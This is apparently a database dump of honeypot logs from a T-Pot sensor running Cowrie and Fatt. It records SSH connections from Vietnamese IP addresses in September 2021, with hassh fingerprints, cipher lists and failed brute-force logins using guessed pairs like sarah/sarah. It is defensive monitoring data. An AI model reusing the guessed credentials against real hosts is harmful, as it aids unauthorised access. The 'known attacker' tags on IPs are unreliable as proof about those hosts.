"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27736	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:29.224149+03	2021-09-20 14:30:01.854525+03	{"_id": "dwbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "128b1807e603", "@version": "1", "timestamp": "2021-09-20T11:15:29.224149Z", "@timestamp": "2021-09-20T11:15:29.224Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27737	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:29.316151+03	2021-09-20 14:30:01.856525+03	{"_id": "eAbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7537ca1348be", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:29.316151Z", "@timestamp": "2021-09-20T11:15:29.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27738	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:29.533536+03	2021-09-20 14:30:01.857524+03	{"_id": "eQbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7537ca1348be", "@version": "1", "timestamp": "2021-09-20T11:15:29.533536Z", "@timestamp": "2021-09-20T11:15:29.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27739	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:29.76422+03	2021-09-20 14:30:01.859524+03	{"_id": "egbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [sarah/sarah] failed", "session": "e191ca5f9727", "@version": "1", "password": "sarah", "username": "sarah", "timestamp": "2021-09-20T11:15:29.764220Z", "@timestamp": "2021-09-20T11:15:29.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27741	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:15:29.532965+03	2021-09-20 14:30:01.861523+03	{"_id": "fAbrAnwBvYTbRNuECir6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57006, "dest_port": 22, "timestamp": "2021-09-20T11:15:29.532965", "@timestamp": "2021-09-20T11:15:29.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27742	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:30.229646+03	2021-09-20 14:30:01.863522+03	{"_id": "fQbrAnwBvYTbRNuECyq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [adam/adam] failed", "session": "7537ca1348be", "@version": "1", "password": "adam", "username": "adam", "timestamp": "2021-09-20T11:15:30.229646Z", "@timestamp": "2021-09-20T11:15:30.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27743	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:31.124703+03	2021-09-20 14:30:01.864522+03	{"_id": "hAbrAnwBvYTbRNuEDyqm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "e191ca5f9727", "@version": "1", "duration": 7.1169562339782715, "timestamp": "2021-09-20T11:15:31.124703Z", "@timestamp": "2021-09-20T11:15:31.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27744	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:32.128638+03	2021-09-20 14:30:01.865525+03	{"_id": "igbrAnwBvYTbRNuEEirL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38958, "dest_port": 22, "timestamp": "2021-09-20T11:15:32.128638", "@timestamp": "2021-09-20T11:15:32.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27745	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:31.844583+03	2021-09-20 14:30:01.866555+03	{"_id": "iwbrAnwBvYTbRNuEEyqQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38958 (192.168.176.2:22) [session: 9cb1debe220f]", "session": "9cb1debe220f", "@version": "1", "protocol": "ssh", "src_port": 38958, "dest_port": 22, "timestamp": "2021-09-20T11:15:31.844583Z", "@timestamp": "2021-09-20T11:15:31.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27751	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:24.692808+03	2021-09-20 14:30:01.875524+03	{"_id": "EAbqAnwBvYTbRNuE9CpK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:41628 (192.168.176.2:22) [session: 19233e3e5185]", "session": "19233e3e5185", "@version": "1", "protocol": "ssh", "src_port": 41628, "dest_port": 22, "timestamp": "2021-09-20T11:15:24.692808Z", "@timestamp": "2021-09-20T11:15:24.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
